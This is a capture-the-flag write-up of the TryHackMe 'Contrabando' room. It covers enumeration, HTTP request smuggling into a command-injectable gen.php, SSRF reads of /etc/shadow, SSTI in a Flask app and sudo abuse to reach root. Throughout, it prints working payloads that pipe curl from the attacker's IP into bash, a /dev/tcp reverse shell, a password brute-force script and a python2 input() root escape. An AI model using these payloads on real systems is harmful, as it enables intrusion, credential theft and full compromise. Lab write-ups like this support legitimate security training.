Tryhackme: Contrabando
Never tell me the odds.
Tryhackme: Contrabando
Contrabando
Reconnaissance && Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ nmap -T4 -n -sC -sV -Pn -p 22,80 ctf.thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 09:14 EDT
Nmap scan report for ctf.thm (10.10.87.205)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 41:ed:cf:46:58:c8:5d:41:04:0a:32:a0:10:4a:83:3b (RSA)
| 256 e8:f9:24:5b:e4:b0:37:4f:00:9d:5c:d3:fb:54:65:0a (ECDSA)
|_ 256 57:fd:4a:1b:12:ac:7c:90:80:88:b8:5a:5b:78:30:79 (ED25519)
80/tcp open http Apache httpd 2.4.55 ((Unix))
|_http-server-header: Apache/2.4.55 (Unix)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.43 seconds
Ports
22 ssh
80 Apache
Webs
http:// 10.10.87.205/
http://10.10.87.205/page/home.html
Web Application Analysis
hidden directory using FFUF
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
─$ ffuf -u http://ctf.thm/page/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc all -fs 94
:: Method : GET
:: URL : http://ctf.thm/page/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 94
________________________________________________
.profile [Status: 200, Size: 150, Words: 19, Lines: 3, Duration: 163ms]
.rhosts [Status: 200, Size: 149, Words: 19, Lines: 3, Duration: 155ms]
.bash_history [Status: 200, Size: 155, Words: 19, Lines: 3, Duration: 159ms]
.perf [Status: 200, Size: 147, Words: 19, Lines: 3, Duration: 159ms]
[Status: 200, Size: 118, Words: 14, Lines: 3, Duration: 161ms]
_adm [Status: 200, Size: 146, Words: 19, Lines: 3, Duration: 161ms]
.history [Status: 200, Size: 150, Words: 19, Lines: 3, Duration: 161ms]
.bashrc [Status: 200, Size: 149, Words: 19, Lines: 3, Duration: 161ms]
.cvsignore [Status: 200, Size: 152, Words: 19, Lines: 3, Duration: 162ms]
.hta [Status: 200, Size: 146, Words: 19, Lines: 3, Duration: 163ms]
.cache [Status: 200, Size: 148, Words: 19, Lines: 3, Duration: 173ms]
_code [Status: 200, Size: 147, Words: 19, Lines: 3, Duration: 175ms]
.htaccess [Status: 200, Size: 151, Words: 19, Lines: 3, Duration: 180ms]
_ajax [Status: 200, Size: 147, Words: 19, Lines: 3, Duration: 183ms]
.sh_history [Status: 200, Size: 153, Words: 19, Lines: 3, Duration: 183ms]
.svn/entries [Status: 200, Size: 154, Words: 19, Lines: 3, Duration: 185ms]
...
specify the flags in the command i run
gen.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function generateRandomPassword($length) {
$password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
return $password;
}
if(isset($_POST['length'])){
$length = $_POST['length'];
$randomPassword = generateRandomPassword($length);
echo $randomPassword;
}else{
echo "Please insert the length parameter in the URL";
}
?>
Vulnerability Scanning
Exploit & Initial Access
1
test%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2031%0D%0A%0D%0Alength=;curl%2010.23.118.121%7Cbash;%0D%0A%0D%0AGET%20/test
1
(echo -e "GET /page/test HTTP/1.1\r\nHost: localhost\r\n\r\nPOST /gen.php HTTP/1.1\r\nHost: localhost\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 31\r\n\r\nlength=;curl 10.23.118.121|bash;\r\n\r\nGET /te HTTP/1.1\r\nHost: localhost\r\n\r\n") | nc 10.10.87.205 80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import socket
payload = (
"GET /page/test HTTP/1.1\r\n"
"Host: localhost\r\n"
"\r\n"
"POST /gen.php HTTP/1.1\r\n"
"Host: localhost\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 31\r\n"
"\r\n"
"length=;curl 10.23.118.121|bash;\r\n"
"\r\n"
"GET /te HTTP/1.1\r\n"
"Host: localhost\r\n"
"\r\n"
)
s = socket.socket()
s.connect(("10.10.87.205", 80))
s.send(payload.encode())
print(s.recv(4096).decode())
s.close()
Privilege Escalation
file:///home/hansolo/app/app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def display_website():
if request.method == 'POST':
website_url = request.form['website_url']
# Use pycurl to fetch the content of the website
buffer = BytesIO()
c = pycurl.Curl()
c.setopt(c.URL, website_url)
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
# Extract the content and convert it to a string
content = buffer.getvalue().decode('utf-8')
buffer.close()
website_content = '''
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
%s
</div>
</body>
</html>'''%content
return render_template_string(website_content)
return render_template('index.html')
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=False)
Lateral Movement
curl -s -d ‘website_url=http://10.23.118.121/’ http://172.18.0.1:5000/
curl -s -d ‘website_url=http://10.23.118.121/test.txt’ http://172.18.0.1:5000/
curl -s -d ‘website_url=file:///proc/self/status’ http://172.18.0.1:5000/
curl -s -d ‘website_url=file:///etc/shadow’ http://172.18.0.1:5000/
curl -s -d ‘website_url=file:///etc/shadow’ http://172.18.0.1:5000/
curl -s -d ‘website_url=file:////home/hansolo/Desktop/’ http://172.18.0.1:5000/ -o-
a shell for the local web inside the shell shell
1
2
3
4
$ cat template
{{ self.**init**.**globals**.**builtins**.**import**('os').popen('curl "http://10.23.118.121|bash').read() }}
$ python3 -m http.server 80
1
1
2
3
4
5
6
7
8
┌──(neo㉿neo)-[~/pro/thm/cont]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.23.118.121] from (UNKNOWN) [10.10.87.205] 34742
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@124a042cc76c:/var/www/html$ curl -s -d 'website_url=http://10.23.118.121/template' [http://172.18.0.1:5000/](http://172.18.0.1:5000/)
<://10.23.118.121/template' [http://172.18.0.1:5000/](http://172.18.0.1:5000/)
1
curl -s -d 'website_url=http://10.23.118.121/template' [http://172.18.0.1:5000/](http://172.18.0.1:5000/)
1
bash -i >& /dev/tcp/10.23.118.121/4444 0>&1 &
fall scripts
1
echo -e 'import subprocess\nimport string\n\ncharset = string.ascii_letters + string.digits\npassword = ""\n\nwhile True:\n found = False\n for char in charset:\n attempt = password + char\n print(f"\r[+] Trying: {attempt}", end="")\n proc = subprocess.Popen(\n ["sudo", "-S", "/usr/bin/bash", "/usr/bin/vault"],\n stdin=subprocess.PIPE,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n text=True\n )\n stdout, stderr = proc.communicate(input=attempt + "\n")\n if "Password matched!" in stdout:\n password += char\n found = True\n break\n if not found:\n break\n\nprint(f"\r[+] Final Password: {password}")' > [script3.py](http://script3.py/)
1
echo -e 'import subprocess, string; charset = string.ascii_letters + string.digits; password = ""; while True: found = False; [stdout, stderr := subprocess.Popen(["sudo", "-S", "/usr/bin/bash", "/usr/bin/vault"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).communicate(input=(password + char + "\n")) if "Password matched!" in stdout and (password := password + char) or False for char in charset] or break; print(f"\r[+] Final Password: {password}")' > [script4.py](http://script4.py/)
1
echo -e 'import subprocess, string; charset = string.ascii_letters + string.digits; password = ""; while True: found = False; [stdout, stderr := subprocess.Popen(["sudo", "-S", "/usr/bin/bash", "/usr/bin/vault"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).communicate(input=(password + char + "\n")) if "Password matched!" in stdout and (password := password + char) or False for char in charset] or break; print(f"\r[+] Final Password: {password}")' > [script5.py](http://script5.py/)
1
echo -e 'import subprocess, string; charset = string.ascii_letters + string.digits; password = ""; while True: found = False; for char in charset: attempt = password + char; print(f"\r[+] Trying: {attempt}", end=""); proc = subprocess.Popen(["sudo", "-S", "/usr/bin/bash", "/usr/bin/vault"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True); stdout, stderr = proc.communicate(input=(attempt + "\n")); if "Password matched!" in stdout: password += char; found = True; break; if not found: break; print(f"\r[+] Final Password: {password}")' > [script6.py](http://script6.py/)
1
echo -e 'import subprocess, string; charset = string.ascii_letters + string.digits; password = ""; while True: found = False; for char in charset: attempt = password + char; print("[+] Trying: " + attempt, end=""); proc = subprocess.Popen(["sudo", "-S", "/usr/bin/bash", "/usr/bin/vault"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True); stdout, stderr = proc.communicate(input=(attempt + "\n")); if "Password matched!" in stdout: password += char; found = True; break; if not found: break; print("[+] Final Password: " + password)' > [script7.py](http://script7.py/)
1
echo -e 'import subprocess; import string; charset = string.ascii_letters + string.digits; password = ""; while True: found = False; for char in charset: attempt = password + char + "*"; print(f"\r[+] Password: {password+char}", end=""); proc = subprocess.Popen(["sudo", "/usr/bin/bash", "/usr/bin/vault"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True); stdout, stderr = proc.communicate(input=attempt + "\n"); if "Password matched!" in stdout: password += char; found = True; break; if not found: break; print(f"\r[+] Final Password: {password}")' > [script8.py](http://script8.py/)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
echo -e '#!/bin/bash
check () {
if [ ! -e "$file_to_check" ]; then
/usr/bin/echo "File does not exist."
exit 1
fi
compare
}
compare () {
content=$(/usr/bin/cat "$file_to_check")
read -s -p "Enter the required input: " user_input
if [[ $content == $user_input ]]; then
/usr/bin/echo ""
/usr/bin/echo "Password matched!"
/usr/bin/cat "$file_to_print"
else
/usr/bin/echo "Password does not match!"
fi
}
file_to_check="/root/password"
file_to_print="/root/secrets"
check' > [script9.py](http://script9.py/)
script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/bash
file_to_check="/root/password"
file_to_print="/root/secrets"
check () {
if [ ! -e "$file_to_check" ]; then
echo "File does not exist."
exit 1
fi
compare
}
compare () {
content=$(cat "$file_to_check")
read -s -p "Enter the required input: " user_input
echo ""
if [[ "$content" == "$user_input" ]]; then
echo "Password matched!"
cat "$file_to_print"
else
echo "Password does not match!"
fi
}
check
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
┌──(neo㉿neo)-[~/Downloads/rustscan.deb]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.23.118.121] from (UNKNOWN) [10.10.87.205] 57070
bash: cannot set terminal process group (718): Inappropriate ioctl for device
bash: no job control in this shell
hansolo@contrabando:~$ clear
clear
TERM environment variable not set.
hansolo@contrabando:~$ sudo -l
sudo -l
Matching Defaults entries for hansolo on contrabando:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hansolo may run the following commands on contrabando:
(root) NOPASSWD: /usr/bin/bash /usr/bin/vault
(root) /usr/bin/python* /opt/generator/app.py
hansolo@contrabando:~$ ls
ls
app
hansolo_userflag.txt
nana
nano
script12.sh
script1.py
script3.py
script4.py
script5.py
script6.py
script7.py
script8.py
script9.py
script.py
hansolo@contrabando:~$ ./script12.sh
./script12.sh
File does not exist.
hansolo@contrabando:~$ echo "#!/bin/bash
# Full charset: letters, digits, and common specials
charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/'
password=""
while true; do
found_char=""
for ((i=0; i<${#charset}; i++)); do
c="${charset:$i:1}"
guess="${password}${c}*"
# run vault and feed it the guess
output=$(echo "$guess" | sudo /usr/bin/bash /usr/bin/vault 2>/dev/null)
if echo "$output" | grep -q "Password matched!"; then
password+=$c
echo "[+] Current password: $password"
found_char=1
break
fi
done
# stop when no char matched → full password recovered
if [ -z "$found_char" ]; then
echo "[*] Finished! Full password: $password"
break
fi
done
" > brut.sh
echo "#!/bin/bash
bash: !/bin/bash: event not found
hansolo@contrabando:~$ # Full charset: letters, digits, and common specials
<NOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/'
hansolo@contrabando:~$
hansolo@contrabando:~$ password=""
hansolo@contrabando:~$
hansolo@contrabando:~$ while true; do
> found_char=""
> for ((i=0; i<${#charset}; i++)); do
> c="${charset:$i:1}"
> guess="${password}${c}*"
>
> # run vault and feed it the guess
<s" | sudo /usr/bin/bash /usr/bin/vault 2>/dev/null)
>
> if echo "$output" | grep -q "Password matched!"; then
> password+=$c
> echo "[+] Current password: $password"
> found_char=1
> break
> fi
> done
>
> # stop when no char matched → full password recovered
> if [ -z "$found_char" ]; then
> echo "[*] Finished! Full password: $password"
> break
> fi
> done
[+] Current password: E
[+] Current password: EQ
[+] Current password: EQu
[+] Current password: EQu5
[+] Current password: EQu5e
[+] Current password: EQu5eh
[+] Current password: EQu5ehw
[+] Current password: EQu5ehwH
[+] Current password: EQu5ehwHc
[+] Current password: EQu5ehwHcR
[+] Current password: EQu5ehwHcRf
[+] Current password: EQu5ehwHcRfZ
[+] Current password: EQu5ehwHcRfZ*
[+] Current password: EQu5ehwHcRfZ**
[+] Current password: EQu5ehwHcRfZ***
ssh using the password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
└─$ ssh hansolo@ctf.thm
The authenticity of host 'ctf.thm (10.10.87.205)' can't be established.
ED25519 key fingerprint is SHA256:f4Mp+IGs5xCf/+gi0Dp45cPvpLtuaHcYdRVfltluFvE.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ctf.thm' (ED25519) to the list of known hosts.
hansolo@ctf.thm's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun 24 Aug 2025 06:01:08 PM UTC
System load: 1.2 Processes: 153
Usage of /: 71.4% of 11.21GB Users logged in: 0
Memory usage: 10% IPv4 address for ens5: 10.10.87.205
Swap usage: 0%
=> There are 2 zombie processes.
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
6 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Nov 14 06:41:33 2023 from 10.13.4.71
hansolo@contrabando:~$ whoami
hansolo
hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User hansolo may run the following commands on contrabando:
(root) NOPASSWD: /usr/bin/bash /usr/bin/vault
(root) /usr/bin/python* /opt/generator/app.py
hansolo@contrabando:~$ sudo su
[sudo] password for hansolo:
Sorry, user hansolo is not allowed to execute '/usr/bin/su' as root on contrabando.
hansolo@contrabando:~$ sudo /usr/bin/py
py3clean pydoc2.7 pygettext3.8 python3.8
py3compile pydoc3 pyhtmlizer3 python3.8-config
py3versions pydoc3.8 pyjwt3 python3-config
pyclean pygettext2 python2 pyversions
pycompile pygettext2.7 python2.7
pydoc2 pygettext3 python3
hansolo@contrabando:~$ sudo /usr/bin/python2 /opt/generator/app.py
[sudo] password for hansolo:
Sorry, try again.
[sudo] password for hansolo:
Sorry, try again.
[sudo] password for hansolo:
Enter the desired length of the password:
Invalid input. Using default length of 12.
Any words you want to add to the password? __import__('os').system('/bin/bash')
root@contrabando:/home/hansolo# whoami
root
root@contrabando:/home/hansolo# cd root
bash: cd: root: No such file or directory
root@contrabando:/home/hansolo# cd /root
root@contrabando:~# ls
password root.txt secrets smug snap
root@contrabando:~# cat root.txt
THM{All_AbouT_PassW0rds}
root@contrabando:~#
This post is licensed under
CC BY 4.0
by the author.



